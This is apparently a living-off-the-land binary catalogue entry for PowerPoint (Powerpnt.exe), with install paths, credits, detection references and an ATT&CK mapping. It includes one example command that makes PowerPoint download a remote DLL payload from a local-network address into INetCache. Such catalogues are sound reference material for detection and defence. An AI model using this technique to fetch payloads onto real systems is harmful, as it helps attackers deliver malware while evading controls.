.. /Powerpnt.exe

☆ Star 7,060

Download (INetCache)

Microsoft Office binary.

Paths:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe

Resources:

- https://twitter.com/reegun21/status/1150032506504151040
- https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Acknowledgements:

- Reegun J (OCBC Bank) (@reegun21)

Detections:

- Sigma: proc_creation_win_lolbin_office.yml
- IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

```
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
```

Use case:	It will download a remote payload and place it in INetCache.
Privileges required:	User
Operating systems:	Windows
ATT&CK® technique:	**T1105**: Ingress Tool Transfer
Tags:	Download: INetCache